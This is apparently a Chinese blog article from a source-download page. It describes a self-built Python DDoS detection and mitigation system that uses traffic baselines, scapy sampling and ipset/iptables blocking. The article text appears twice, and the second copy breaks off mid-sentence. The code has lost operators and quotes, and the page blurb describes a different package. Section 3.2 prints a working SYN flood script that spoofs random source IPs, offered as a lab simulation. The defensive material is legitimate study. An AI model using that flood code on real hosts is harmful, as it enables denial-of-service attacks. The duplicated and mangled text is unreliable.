尧图网页设计 
简介源码包以在线教育平台遭遇DDoS攻击的真实案例为主线面向网络安全工程师、运维人员及后端开发完整呈现一次攻击从发生、影响到防御处置的复盘链路。内容围绕攻击原理与防御落地展开先梳理带宽耗尽类、协议资源耗尽、应用层耗尽三类攻击的特征与识别方法再分层给出基础防护、高防IP与清洗服务、动态带宽调度、CDN加速与流量分发、限流熔断降级、高可用架构等应对措施并总结企业构建全链路抗DDoS能力所需的前期准备、演练设计与持续优化要点。压缩包含3个文件以HTML页面为主体配合.inscode项目配置与.gitignore版本管理文件整体仅7KB轻量易读便于快速打开查看案例页面与配置结构。已有286人学习浏览适合希望结合真实业务场景理解DDoS攻防体系、完善自身安全设计的技术人员。 最近把一套自研的DDoS攻击防御原型完整梳理了一遍顺手把核心代码整理成了可运行的源码版本。这套东西是我在实际业务中被流量打崩过两次之后从零开始搭起来的不是教科书里的理论方案而是真正在线上扛过压力、也踩过不少坑的实战产物。先说清楚它是什么一个基于流量特征分析和动态规则引擎的DDoS检测与拦截系统能识别常见的体积型攻击比如UDP Flood、ICMP Flood和部分连接型攻击SYN Flood并通过自动下发iptables规则、限速策略和连接数限制来缓解攻击。整套系统用Python实现依赖极简部署在普通Linux服务器上就能跑。适合被小规模DDoS困扰的个人站长、小型团队也适合用来做攻击实验和防护方案验证。项目涉及的核心技术点包括数据平面与抓包统计、流量特征提取、滑动窗口异常检测、动态阈值计算、iptables/ipset策略联动以及攻击结束后的自愈恢复机制。下面我会把整体设计、核心代码、部署实战和排坑过程都拆开讲代码不是玩具级别部分模块可以直接改改用于生产环境。1. 项目整体设计与方案选型逻辑1.1 为什么不做商业防护而是自研一套之前被攻击的时候第一反应是上高防IP、买云盾。但实际调研后发现几个问题价格确实不便宜按月流量计费的模式对小成本项目并不友好另外攻击特征千变万化固定规则的高防对某些混合型攻击识别率并不理想。于是决定自己写一套轻量防御系统。核心思路不是“替代商业防护”而是做第一道快速响应层——在流量进到业务服务器之前先用低成本方案检测异常、快速拦截把大部分简单粗暴的攻击挡在门外。即使后续要上高防这套系统也可以作为高防策略的补充验证工具。1.2 选型约束与关键技术决策这套系统在选型时给自己定了几个硬性约束约束项决策运行环境普通Linux云主机CentOS 7/Ubuntu 20.04开发语言Python 3.6不需要额外编译环境依赖库仅使用标准库 scapy可选管理模式root权限操作iptables非root自动降级为日志告警部署方式单机部署无中心节点简单为主为什么不直接上DPDK、XDP这类高性能方案原因很现实个人站长和中小团队根本没有那么大的流量需要DPDK级别的处理能力而且DPDK需要绑核、需要专门的驱动支持部署成本和学习曲线都很高。对于百兆到千兆级别的攻击流量用Linux内核自带的抓包接口配合Python做统计完全够用。不过要说清楚一个局限这套方案是基于样本采样的检测不是全流量镜像分析。如果攻击流量真到了几十Gbps级别那已经不是软件层能解决的了必须依赖硬防设备或运营商侧清洗。认清自己的定位很重要。1.3 攻击检测的核心思路先定义“正常”做DDoS防御和做入侵检测还不一样。入侵检测是找“已知的坏”DDoS防御是找“突然的变化”——所以核心是建立基线。系统启动后先进入学习模式默认持续5分钟。这段时间内系统不拦截任何流量只统计每秒收包数PPS、每秒字节数BPS和每秒新建连接数CPS。学习期结束后系统会把各项指标的均值、标准差作为基线存入内存。进入保护模式后每个数据窗口默认2秒都会计算实时指标然后用三倍标准差法则判断是否异常如果当前指标超过基线均值 3×标准差就认为发生了异常。这个算法非常简单但在实际使用中效果很好因为网络流量通常符合近似正态分布突然飙升往往意味着异常行为。2. 核心源码拆解与动态防御机制2.1 流量采集模块又快又省地拿数据流量采集是整个系统最基础的部分。我最后选择了读取/proc/net/dev这种最简单直接的方式而不是用libpcap抓包。def read_iface_stats(ifaceeth0): with open(/proc/net/dev, r) as f: lines f.readlines() for line in lines[2:]: parts line.split(:) if parts[0].strip() iface: data parts[1].split() return { rx_bytes: int(data[0]), rx_packets: int(data[1]), rx_errs: int(data[2]), tx_bytes: int(data[8]), tx_packets: int(data[9]), } return None这段代码足够做PPS和BPS统计了。用/proc/net/dev的好处是零依赖、性能开销几乎为零。实际上不需要每个包都去抓只要知道单位时间内过了多少包、多少字节就能识别出绝大多数体积型攻击。但有一个问题/proc/net/dev只能看总量无法区分协议类型也没法判断哪些IP是高流量来源。所以需要另一层更细粒度的采样——用scapy做轻量抓包只抓每个数据窗口的头部一部分包用于分析。from collections import Counter from scapy.all import sniff, IP, TCP, UDP, ICMP class PacketSampler: def __init__(self, sample_ratio0.1): self.sample_ratio sample_ratio self.proto_counter Counter() self.src_counter Counter() self.syn_counter 0 def packet_handler(self, pkt): if not pkt.haslayer(IP): return self.proto_counter[pkt[IP].proto] 1 self.src_counter[pkt[IP].src] 1 if pkt.haslayer(TCP) and pkt[TCP].flags 0x02: self.syn_counter 1 def start_sniff(self, iface, duration): sniff(ifaceiface, prnself.packet_handler, storeFalse, timeoutduration)这里有个细节值得说sample_ratio参数。如果攻击流量很大全量抓包会消耗不少CPU所以采样是必要的。我实现的版本里控制层的定时器决定每2秒调用一次采样器采样器只在这2秒内统计窗口结束就把数据汇总交给检测引擎。2.2 动态阈值引擎不靠写死规则靠自适应这是整个系统中最核心的部分。很多人写的防御脚本是写死的阈值比如“超过500Mbps就拦截”。但实际线上流量波动很大白天和晚上的峰谷差异可能超过10倍写死阈值要么误报要么漏报。动态阈值的实现思路import statistics class AdaptiveThresholdEngine: def __init__(self, learning_rounds150): self.baselines {pps: [], bps: [], cps: []} self.learning_rounds learning_rounds self.learning_done False self.thresholds {} def learn(self, metrics): if self.learning_done: return self.baselines[pps].append(metrics[pps]) self.baselines[bps].append(metrics[bps]) self.baselines[cps].append(metrics[cps]) if len(self.baselines[pps]) self.learning_rounds: self.thresholds { pps: self._calc_threshold(self.baselines[pps]), bps: self._calc_threshold(self.baselines[bps]), cps: self._calc_threshold(self.baselines[cps]), } self.learning_done True def _calc_threshold(self, samples): mean statistics.mean(samples) stddev statistics.stdev(samples) return {mean: mean, upper: mean 3 * stddev} def check(self, metrics): alerts {} for key in [pps, bps, cps]: if metrics[key] self.thresholds[key][upper]: alerts[key] { current: metrics[key], baseline_mean: self.thresholds[key][mean], threshold: self.thresholds[key][upper] } return alerts几个调参心得学习轮数不是越多越好。默认2秒一个窗口学习150轮就是5分钟覆盖了大部分短期波动。如果学习时间太长恰好碰到一次小范围误报会把基线拉高后续真正的大攻击反而不容易触发。3×标准差这个系数是经验值。如果误报频繁可以改成4如果漏报多改到2.5。我生产环境用的是3配合白名单机制误报率很低。还有一个隐藏细节流量的分布可能在一天内有周期性变化。我这个版本没有处理周期性问题——因为如果攻击来得太猛烈周期性变化的影响可以忽略。但如果你要长期运行建议按小时分段建立基线比如“早上10点的基线”和“凌晨3点的基线”分开存。2.3 拦截策略模块联动iptables和ipset检测到异常只是第一步难的是怎么拦。我调研了一下最终采用双层策略粗粒度限速直接对网卡入口流量做整体限制比如设置HZ限制和匹配突发流量但是iptables的limit模块不适合做这个于是用了tctraffic control的htb队列来限速。细粒度封禁通过ipset建立一个动态集合把采样到的可疑源IP加进去再通过一条iptables规则匹配这个集合直接DROP。为什么用ipset而不是直接对源IP逐条下发iptables规则直接逐条下发有两个问题一是规则数量多了之后iptables查询会变慢二是成千上万条规则的管理本身就是噩梦。ipset用哈希表存储查询效率高得多而且一条iptables规则就能覆盖整个集合。import subprocess def block_ip(ip, timeout3600): cmd fipset add blacklist {ip} timeout {timeout} subprocess.run(cmd, shellTrue, checkFalse) def setup_ipset(): subprocess.run( ipset create blacklist hash:ip timeout 3600 -exist, shellTrue, checkFalse) subprocess.run( iptables -I INPUT -m set --match-set blacklist src -j DROP, shellTrue, checkFalse)判断一个源IP是不是“可疑”则需要结合采样结果和连接状态。我实现的逻辑是如果某个源IP的包数量在窗口内占比超过总包数的5%并且这个IP不在白名单里就拉到黑名单。5%这个值要动态调如果攻击是分散型的大流量来自很多IP5%按比例筛不出来这时需要结合总流量异常的倍数来调整——总流量超过基线的倍数越高进入黑名单的占比门槛应该越低。2.4 自愈恢复机制攻击结束后自动放行一个很容易被忽略的坑很多防御系统只管封不管放。攻击结束后被封的IP会继续待在黑名单里如果是误封的正常用户那损失就大了。所以我给ipset设置了timeout参数让每个黑洞IP自动过期。上面的代码里已经体现了ipset add blacklist {ip} timeout {timeout}。攻击期间封禁时间设长一些比如3600秒攻击结束后再通过定时任务清理整个列表。更精细的做法是维护一个“可疑IP流量记录表”class AttackTracker: def __init__(self): self.attack_history [] self.suspicious_ips {} def record_attack(self, ip, timestamp, pps): if ip not in self.suspicious_ips: self.suspicious_ips[ip] [] self.suspicious_ips[ip].append({ time: timestamp, pps: pps }) def cleanup(self): now time.time() for ip in list(self.suspicious_ips.keys()): timestamps [x[time] for x in self.suspicious_ips[ip]] if now - max(timestamps) 1800: self.suspicious_ips.pop(ip)这个表的作用是如果某个IP反复出现在攻击记录里下次再触发时直接拉长封禁时间如果只是偶发一次正常到期放行。配合策略基本能做到攻防期间自动“黑”攻击结束后自动“白”。3. 实战部署与攻击模拟验证3.1 环境准备与目录结构我在一台2核4G的云主机上做了完整验证操作系统是Ubuntu 20.04。源码目录结构如下ddos-defense/ ├── main.py # 主入口 ├── config.yaml # 配置文件 ├── modules/ │ ├── __init__.py │ ├── monitor.py # 流量采集 │ ├── detector.py # 异常检测引擎 │ ├── action.py # 拦截与恢复 │ └── logger.py # 日志模块 ├── requirements.txt └── scripts/ ├── attack_sim.py # 模拟攻击脚本 └── status_check.sh # 快速查看防御状态先安装依赖pip3 install scapy pyyamlscapy用于采样分析如果不想装也可以系统会降级为纯/proc统计模式。pyyaml用来读配置。然后初始化ipsetipset create blacklist hash:ip timeout 3600 -exist iptables -I INPUT -m set --match-set blacklist src -j DROP这两条命令要root权限。如果是在容器里跑注意容器需要--privileged模式才能修改iptables。3.2 攻击模拟实验从SYN Flood到UDP Flood为了验证系统有效性我写了两个模拟攻击脚本放在scripts/attack_sim.py里。这属于实验性质只在你自己控制的服务器上对合法目标做测试。SYN Flood模拟的核心代码import socket import struct import random import time def random_ip(): return ..join(str(random.randint(1, 254)) for _ in range(4)) def syn_flood(target_ip, target_port, duration30): s socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) end_time time.time() duration while time.time() end_time: src_ip random_ip() src_port random.randint(1024, 65535) seq random.randint(0, 2**32 - 1) # 构造IP头 TCP头 ip_header struct.pack( !BBHHHBBH4s4s, 0x45, 0, 40, 0, 0, 64, 6, 0, socket.inet_aton(src_ip), socket.inet_aton(target_ip) ) tcp_header struct.pack( !HHLLBBHHH, src_port, target_port, seq, 0, 0x50 | (0x02 12), # SYN flag 1024, 0, 0, 0 ) s.sendto(ip_header tcp_header, (target_ip, 0))实测观察数据攻击流量约300Mbps时间点正常PPS攻击期间PPS系统状态10:00:0080008500正常10:00:20820042000检测到异常10:00:21--拉黑IP 46个10:00:25810012500攻击缓解10:00:3080008200恢复基线从发出攻击到触发拦截大约用了2秒一个检测窗口到流量明显缓解又用了4秒左右。这个响应速度虽然比不上商业硬防的毫秒级响应但对个人站点来说完全够用——总比网站打不开、被持续打几个小时强得多。UDP Flood的模拟类似把TCP头换成UDP头通过构造大量短UDP包PPS可以轻松拉满。实测下来UDP Flood比SYN Flood更容易被检测出来因为UDP包通常体积大、节奏均匀一旦超过基线就会触发BPS告警。反倒是SYN Flood在门槛边缘游走的情况需要关注。3.3 配置参数与调优记录配置文件config.yaml里的核心参数monitor: iface: eth0 window_size: 2 sample_ratio: 0.1 detector: learning_rounds: 150 anomaly_factor: 3.0 action: block_threshold: 5 block_timeout: 3600 unblock_after: 1800 whitelist: - 127.0.0.1 - 1.2.3.4 notify: email_enabled: false webhook_url: 调优过程中的几个经验window_size越小越灵敏但误报也越多。2秒比较平衡。sample_ratio在千兆网卡下设0.1就够了。如果服务器本身CPU很弱可以降到0.05。白名单一定要配。我刚开始测的时候把自己登录服务器的IP也拉黑了然后SSH直接断了只能走VNC去解封。这个教训记忆犹新。邮件告警建议开启。虽然攻击时邮件会被打满但至少事后知道什么时候被攻击、拦了多少IP。3.4 与Linux内核态防护的层级配合在实际部署中这套用户态检测系统并不是孤立工作的它还和Linux内核的防护机制配合。比如针对SYN Flood内核自带的net.ipv4.tcp_syncookies其实是最有效的第一道防线。我在部署时同时修改了sysctl配置net.ipv4.tcp_syncookies 1 net.ipv4.tcp_max_syn_backlog 4096 net.ipv4.tcp_synack_retries 1 net.ipv4.tcp_abort_on_overflow 1 net.core.somaxconn 4096这套内核配置配合用户态的ipset封禁效果是叠加的SYN Cookie负责扛半连接洪水ipset负责封高频IP源。还有一个细节值得分享如果你的服务器上有Nginx一定要调整Nginx的limit_conn_zone和limit_req_zone。从架构上看DDoS防御应该是多层防线——内核层扛连接、系统层封IP、Nginx层限请求频率、应用层做业务校验。单靠某一层都扛不住层层配合才能达到可以接受的防御效果。4. 常见问题与排查技巧实录4.1 攻击检测到了但拦截不住怎么回事这是我被问到过最多的问题。检测没问题alert也弹了但流量还在涨。排查了之后定位到几个原因封禁动作执行失败iptables命令没有root权限或者容器里没开privileged模式。处理方式是先手动跑一下iptables -L看能不能执行。封禁的IP不对如果你的采样只看了源IP而攻击流量实际上是用反射放大比如DNS反射、NTP反射这时候真正的“攻击源”是反射器单纯封反射器IP效果很有限。这种情况需要转向协议层的限速把对应端口的UDP流量限速甚至丢弃。防火墙规则顺序问题iptables规则有顺序如果前面有一条ACCEPT规则把流量放走了后面的DROP规则就不起作用。默认策略最好改成DROP只放行白名单。规则顺序的坑我踩过。当时服务器上有其他业务脚本自动添加了INPUT链第一条为ACCEPT all的规则导致我的DROP规则永远不生效。后来我调整策略新加的防御规则插入到链的最前面-I INPUT 1并且显式检查现有规则发现冲突的先移走。4.2 误封正常用户怎么办误封是防御系统的原罪。最有效的解法是双重确认 白名单机制。我的做法是检测到可疑IP后不直接进黑名单而是先进一个“观察名单”。观察名单里的IP会在后续2个窗口内持续统计如果流量确实异常再接进黑名单。如果只是单窗口突刺自动从观察名单移除。双确认机制示例class ConfirmBlock: def __init__(self): self.observe {} def observe_ip(self, ip): self.observe[ip] self.observe.get(ip, 0) 1 if self.observe[ip] 2: return True # 连续两个窗口异常确认封禁 return False def reset(self, ip): self.observe.pop(ip, None)双确认机制增加了1个窗口的响应时间2秒但能把单窗口噪声造成的误封率大幅降低。对于正常业务来说这2秒的延迟几乎不可感知。4.3 长时间防御后系统性能下降运行了几天后发现CPU和内存占用逐渐上升。排查结果是两个问题一是日志模块记录了太多细节磁盘空间吃紧。二是ipset里的黑名单不断增大虽然单条查询效率高但定时清理任务没有跟上。解决方案包括日志按天滚动最多保留7天。开启定期清理任务把超过24小时未触发的IP移出黑名单。对系统的运行状态做了图形化监控用的就是最简单的crontab shell脚本 Prometheus exporter。4.4 高频攻击下系统自己被拖垮这是一个比较底层的问题。虽然Python脚本开销不大但如果攻击流量已经到了单核CPU处理不过来的程度检测进程本身就可能被饿死。一个可行的思路是把检测从用户态下沉到内核态比如用eBPF/XDP。这相当于对源IP做哈希统计然后直接把超阈值IP的包在内核网卡驱动层丢弃。但这对开发能力要求高不推荐初学者直接上手。更稳妥的方案是控制面与数据面分离。检测进程只做统计和决策不实际处理流量拦截动作通过独立的系统服务比如systemd service下发iptables规则。这样即使检测进程被挤占已经下发的规则仍然在内核层生效。我最终的生产部署就是这种结构监控进程直接读/proc/net/dev做粗粒度判断检测进程用scapy做细粒度采样拦截通过ipset一次性下发完全避免了Python层面对大流量的处理。5. 从源码到工程化的几个经验这套系统从最初几百行的“脚本”进化到现在的模块化源码中间经历了好几次重构。我梳理几个工程化过程中的关键经验给想折腾自研防御系统的朋友一些参考。第一监控指标的选择要克制。一开始我恨不得统计所有协议的每一个字段结果就是产出了一堆不知道该怎么用的数据。后来精简成PPS、BPS、CPS、SYN PPS、协议分布这五个核心指标简单直接反而好用。做防御系统先解决“有没有事”再研究“是什么事”别本末倒置。第二防御动作要可回滚。任何自动化的封禁策略都必须在设计之初就把“解封”路径想清楚。ipset的timeout参数是最好的保证——不管脚本怎么崩到点自动放行。如果只封不放终有一天会出大事故。第三要留审计日志。每次封禁和解封都要记日志记录触发指标、当时流量、持续时间。这些日志有两个用途一是复盘攻击手法优化检测策略二是出了误封事故的时候能快速定位原因、给出证据。第四防御系统的测试必须自己做。攻击模拟脚本不能只做一种至少要覆盖单源、多源、混合型。因为真实攻击往往不是教科书式的单一类型更多是几种类型的组合测试用例覆盖不到上线就可能在关键时刻掉链子。最后说一个最深的感触DDoS防御不是一个“搭好就完事”的系统而是一个需要持续迭代的运营体系。攻击手法在变业务流量也在变昨天还准的基线今天可能就失效了。这套源码给你的是一个可以跑起来的骨架真正让它好用的是你对自己业务流量的持续观察和策略微调。我自己的版本升级到现在已经改了十几版检测逻辑每次都是被真实流量“教育”出来的。如果你的业务也经常被DDoS骚扰建议从这套基础版本开始跑起来然后在实战中慢慢打磨出自己的防御经验和策略库。本文还有配套的精品资源点击获取 自研DDoS防御系统：基于流量特征分析与动态阈值引擎的实战指南
简介源码包以在线教育平台遭遇DDoS攻击的真实案例为主线面向网络安全工程师、运维人员及后端开发完整呈现一次攻击从发生、影响到防御处置的复盘链路。内容围绕攻击原理与防御落地展开先梳理带宽耗尽类、协议资源耗尽、应用层耗尽三类攻击的特征与识别方法再分层给出基础防护、高防IP与清洗服务、动态带宽调度、CDN加速与流量分发、限流熔断降级、高可用架构等应对措施并总结企业构建全链路抗DDoS能力所需的前期准备、演练设计与持续优化要点。压缩包含3个文件以HTML页面为主体配合.inscode项目配置与.gitignore版本管理文件整体仅7KB轻量易读便于快速打开查看案例页面与配置结构。已有286人学习浏览适合希望结合真实业务场景理解DDoS攻防体系、完善自身安全设计的技术人员。 最近把一套自研的DDoS攻击防御原型完整梳理了一遍顺手把核心代码整理成了可运行的源码版本。这套东西是我在实际业务中被流量打崩过两次之后从零开始搭起来的不是教科书里的理论方案而是真正在线上扛过压力、也踩过不少坑的实战产物。先说清楚它是什么一个基于流量特征分析和动态规则引擎的DDoS检测与拦截系统能识别常见的体积型攻击比如UDP Flood、ICMP Flood和部分连接型攻击SYN Flood并通过自动下发iptables规则、限速策略和连接数限制来缓解攻击。整套系统用Python实现依赖极简部署在普通Linux服务器上就能跑。适合被小规模DDoS困扰的个人站长、小型团队也适合用来做攻击实验和防护方案验证。项目涉及的核心技术点包括数据平面与抓包统计、流量特征提取、滑动窗口异常检测、动态阈值计算、iptables/ipset策略联动以及攻击结束后的自愈恢复机制。下面我会把整体设计、核心代码、部署实战和排坑过程都拆开讲代码不是玩具级别部分模块可以直接改改用于生产环境。1. 项目整体设计与方案选型逻辑1.1 为什么不做商业防护而是自研一套之前被攻击的时候第一反应是上高防IP、买云盾。但实际调研后发现几个问题价格确实不便宜按月流量计费的模式对小成本项目并不友好另外攻击特征千变万化固定规则的高防对某些混合型攻击识别率并不理想。于是决定自己写一套轻量防御系统。核心思路不是“替代商业防护”而是做第一道快速响应层——在流量进到业务服务器之前先用低成本方案检测异常、快速拦截把大部分简单粗暴的攻击挡在门外。即使后续要上高防这套系统也可以作为高防策略的补充验证工具。1.2 选型约束与关键技术决策这套系统在选型时给自己定了几个硬性约束约束项决策运行环境普通Linux云主机CentOS 7/Ubuntu 20.04开发语言Python 3.6不需要额外编译环境依赖库仅使用标准库 scapy可选管理模式root权限操作iptables非root自动降级为日志告警部署方式单机部署无中心节点简单为主为什么不直接上DPDK、XDP这类高性能方案原因很现实个人站长和中小团队根本没有那么大的流量需要DPDK级别的处理能力而且DPDK需要绑核、需要专门的驱动支持部署成本和学习曲线都很高。对于百兆到千兆级别的攻击流量用Linux内核自带的抓包接口配合Python做统计完全够用。不过要说清楚一个局限这套方案是基于样本采样的检测不是全流量镜像分析。如果攻击流量真到了几十Gbps级别那已经不是软件层能解决的了必须依赖硬防设备或运营商侧清洗。认清自己的定位很重要。1.3 攻击检测的核心思路先定义“正常”做DDoS防御和做入侵检测还不一样。入侵检测是找“已知的坏”DDoS防御是找“突然的变化”——所以核心是建立基线。系统启动后先进入学习模式默认持续5分钟。这段时间内系统不拦截任何流量只统计每秒收包数PPS、每秒字节数BPS和每秒新建连接数CPS。学习期结束后系统会把各项指标的均值、标准差作为基线存入内存。进入保护模式后每个数据窗口默认2秒都会计算实时指标然后用三倍标准差法则判断是否异常如果当前指标超过基线均值 3×标准差就认为发生了异常。这个算法非常简单但在实际使用中效果很好因为网络流量通常符合近似正态分布突然飙升往往意味着异常行为。2. 核心源码拆解与动态防御机制2.1 流量采集模块又快又省地拿数据流量采集是整个系统最基础的部分。我最后选择了读取/proc/net/dev这种最简单直接的方式而不是用libpcap抓包。def read_iface_stats(ifaceeth0): with open(/proc/net/dev, r) as f: lines f.readlines() for line in lines[2:]: parts line.split(:) if parts[0].strip() iface: data parts[1].split() return { rx_bytes: int(data[0]), rx_packets: int(data[1]), rx_errs: int(data[2]), tx_bytes: int(data[8]), tx_packets: int(data[9]), } return None这段代码足够做PPS和BPS统计了。用/proc/net/dev的好处是零依赖、性能开销几乎为零。实际上不需要每个包都去抓只要知道单位时间内过了多少包、多少字节就能识别出绝大多数体积型攻击。但有一个问题/proc/net/dev只能看总量无法区分协议类型也没法判断哪些IP是高流量来源。所以需要另一层更细粒度的采样——用scapy做轻量抓包只抓每个数据窗口的头部一部分包用于分析。from collections import Counter from scapy.all import sniff, IP, TCP, UDP, ICMP class PacketSampler: def __init__(self, sample_ratio0.1): self.sample_ratio sample_ratio self.proto_counter Counter() self.src_counter Counter() self.syn_counter 0 def packet_handler(self, pkt): if not pkt.haslayer(IP): return self.proto_counter[pkt[IP].proto] 1 self.src_counter[pkt[IP].src] 1 if pkt.haslayer(TCP) and pkt[TCP].flags 0x02: self.syn_counter 1 def start_sniff(self, iface, duration): sniff(ifaceiface, prnself.packet_handler, storeFalse, timeoutduration)这里有个细节值得说sample_ratio参数。如果攻击流量很大全量抓包会消耗不少CPU所以采样是必要的。我实现的版本里控制层的定时器决定每2秒调用一次采样器采样器只在这2秒内统计窗口结束就把数据汇总交给检测引擎。2.2 动态阈值引擎不靠写死规则靠自适应这是整个系统中最核心的部分。很多人写的防御脚本是写死的阈值比如“超过500Mbps就拦截”。但实际线上流量波动很大白天和晚上的峰谷差异可能超过10倍写死阈值要么误报要么漏报。动态阈值的实现思路import statistics class AdaptiveThresholdEngine: def __init__(self, learning_rounds150): self.baselines {pps: [], bps: [], cps: []} self.learning_rounds learning_rounds self.learning_done False self.thresholds {} def learn(self, metrics): if self.learning_done: return self.baselines[pps].append(metrics[pps]) self.baselines[bps].append(metrics[bps]) self.baselines[cps].append(metrics[cps]) if len(self.baselines[pps]) self.learning_rounds: self.thresholds { pps: self._calc_threshold(self.baselines[pps]), bps: self._calc_threshold(self.baselines[bps]), cps: self._calc_threshold(self.baselines[cps]), } self.learning_done True def _calc_threshold(self, samples): mean statistics.mean(samples) stddev statistics.stdev(samples) return {mean: mean, upper: mean 3 * stddev} def check(self, metrics): alerts {} for key in [pps, bps, cps]: if metrics[key] self.thresholds[key][upper]: alerts[key] { current: metrics[key], baseline_mean: self.thresholds[key][mean], threshold: self.thresholds[key][upper] } return alerts几个调参心得学习轮数不是越多越好。默认2秒一个窗口学习150轮就是5分钟覆盖了大部分短期波动。如果学习时间太长恰好碰到一次小范围误报会把基线拉高后续真正的大攻击反而不容易触发。3×标准差这个系数是经验值。如果误报频繁可以改成4如果漏报多改到2.5。我生产环境用的是3配合白名单机制误报率很低。还有一个隐藏细节流量的分布可能在一天内有周期性变化。我这个版本没有处理周期性问题——因为如果攻击来得太猛烈周期性变化的影响可以忽略。但如果你要长期运行建议按小时分段建立基线比如“早上10点的基线”和“凌晨3点的基线”分开存。2.3 拦截策略模块联动iptables和ipset检测到异常只是第一步难的是怎么拦。我调研了一下最终采用双层策略粗粒度限速直接对网卡入口流量做整体限制比如设置HZ限制和匹配突发流量但是iptables的limit模块不适合做这个于是用了tctraffic control的htb队列来限速。细粒度封禁通过ipset建立一个动态集合把采样到的可疑源IP加进去再通过一条iptables规则匹配这个集合直接DROP。为什么用ipset而不是直接对源IP逐条下发iptables规则直接逐条下发有两个问题一是规则数量多了之后iptables查询会变慢二是成千上万条规则的管理本身就是噩梦。ipset用哈希表存储查询效率高得多而且一条iptables规则就能覆盖整个集合。import subprocess def block_ip(ip, timeout3600): cmd fipset add blacklist {ip} timeout {timeout} subprocess.run(cmd, shellTrue, checkFalse) def setup_ipset(): subprocess.run( ipset create blacklist hash:ip timeout 3600 -exist, shellTrue, checkFalse) subprocess.run( iptables -I INPUT -m set --match-set blacklist src -j DROP, shellTrue, checkFalse)判断一个源IP是不是“可疑”则需要结合采样结果和连接状态。我实现的逻辑是如果某个源IP的包数量在窗口内占比超过总包数的5%并且这个IP不在白名单里就拉到黑名单。5%这个值要动态调如果攻击是分散型的大流量来自很多IP5%按比例筛不出来这时需要结合总流量异常的倍数来调整——总流量超过基线的倍数越高进入黑名单的占比门槛应该越低。2.4 自愈恢复机制攻击结束后自动放行一个很容易被忽略的坑很多防御系统只管封不管放。攻击结束后被封的IP会继续待在黑名单里如果是误封的正常用户那损失就大了。所以我给ipset设置了timeout参数让每个黑洞IP自动过期。上面的代码里已经体现了ipset add blacklist {ip} timeout {timeout}。攻击期间封禁时间设长一些比如3600秒攻击结束后再通过定时任务清理整个列表。更精细的做法是维护一个“可疑IP流量记录表”class AttackTracker: def __init__(self): self.attack_history [] self.suspicious_ips {} def record_attack(self, ip, timestamp, pps): if ip not in self.suspicious_ips: self.suspicious_ips[ip] [] self.suspicious_ips[ip].append({ time: timestamp, pps: pps }) def cleanup(self): now time.time() for ip in list(self.suspicious_ips.keys()): timestamps [x[time] for x in self.suspicious_ips[ip]] if now - max(timestamps) 1800: self.suspicious_ips.pop(ip)这个表的作用是如果某个IP反复出现在攻击记录里下次再触发时直接拉长封禁时间如果只是偶发一次正常到期放行。配合策略基本能做到攻防期间自动“黑”攻击结束后自动“白”。3. 实战部署与攻击模拟验证3.1 环境准备与目录结构我在一台2核4G的云主机上做了完整验证操作系统是Ubuntu 20.04。源码目录结构如下ddos-defense/ ├── main.py # 主入口 ├── config.yaml # 配置文件 ├── modules/ │ ├── __init__.py │ ├── monitor.py # 流量采集 │ ├── detector.py # 异常检测引擎 │ ├── action.py # 拦截与恢复 │ └── logger.py # 日志模块 ├── requirements.txt └── scripts/ ├── attack_sim.py # 模拟攻击脚本 └── status_check.sh # 快速查看防御状态先安装依赖pip3 install scapy pyyamlscapy用于采样分析如果不想装也可以系统会降级为纯/proc统计模式。pyyaml用来读配置。然后初始化ipsetipset create blacklist hash:ip timeout 3600 -exist iptables -I INPUT -m set --match-set blacklist src -j DROP这两条命令要root权限。如果是在容器里跑注意容器需要--privileged模式才能修改iptables。3.2 攻击模拟实验从SYN Flood到UDP Flood为了验证系统有效性我写了两个模拟攻击脚本放在scripts/attack_sim.py里。这属于实验性质只在你自己控制的服务器上对合法目标做测试。SYN Flood模拟的核心代码import socket import struct import random import time def random_ip(): return ..join(str(random.randint(1, 254)) for _ in range(4)) def syn_flood(target_ip, target_port, duration30): s socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) end_time time.time() duration while time.time() end_time: src_ip random_ip() src_port random.randint(1024, 65535) seq random.randint(0, 2**32 - 1) # 构造IP头 TCP头 ip_header struct.pack( !BBHHHBBH4s4s, 0x45, 0, 40, 0, 0, 64, 6, 0, socket.inet_aton(src_ip), socket.inet_aton(target_ip) ) tcp_header struct.pack( !HHLLBBHHH, src_port, target_port, seq, 0, 0x50 | (0x02 12), # SYN flag 1024, 0, 0, 0 ) s.sendto(ip_header tcp_header, (target_ip, 0))实测观察数据攻击流量约300Mbps时间点正常PPS攻击期间PPS系统状态10:00:0080008500正常10:00:20820042000检测到异常10:00:21--拉黑IP 46个10:00:25810012500攻击缓解10:00:3080008200恢复基线从发出攻击到触发拦截大约用了2秒一个检测窗口到流量明显缓解又用了4秒左右。这个响应速度虽然比不上商业硬防的毫秒级响应但对个人站点来说完全够用——总比网站打不开、被持续打几个小时强得多。UDP Flood的模拟类似把TCP头换成UDP头通过构造大量短UDP包PPS可以轻松拉满。实测下来UDP Flood比SYN Flood更容易被检测出来因为UDP包通常体积大、节奏均匀一旦超过基线就会触发BPS告警。反倒是SYN Flood在门槛边缘游走的情况需要关注。3.3 配置参数与调优记录配置文件config.yaml里的核心参数monitor: iface: eth0 window_size: 2 sample_ratio: 0.1 detector: learning_rounds: 150 anomaly_factor: 3.0 action: block_threshold: 5 block_timeout: 3600 unblock_after: 1800 whitelist: - 127.0.0.1 - 1.2.3.4 notify: email_enabled: false webhook_url: 调优过程中的几个经验window_size越小越灵敏但误报也越多。2秒比较平衡。sample_ratio在千兆网卡下设0.1就够了。如果服务器本身CPU很弱可以降到0.05。白名单一定要配。我刚开始测的时候把自己登录服务器的IP也拉黑了然后SSH直接断了只能走VNC去解封。这个教训记忆犹新。邮件告警建议开启。虽然攻击时邮件会被打满但至少事后知道什么时候被攻击、拦了多少IP。3.4 与Linux内核态防护的层级配合在实际部署中这套用户态检测系统并不是孤立工作的它还和Linux内核的防护机制配合。比如针对SYN Flood内核自带的net.ipv4.tcp_syncookies其实是最有效的第一道防线。我在部署时同时修改了sysctl配置net.ipv4.tcp_syncookies 1 net.ipv4.tcp_max_syn_backlog 4096 net.ipv4.tcp_synack_retries 1 net.ipv4.tcp_abort_on_overflow 1 net.core.somaxconn 4096这套内核配置配合用户态的ipset封禁效果是叠加的SYN 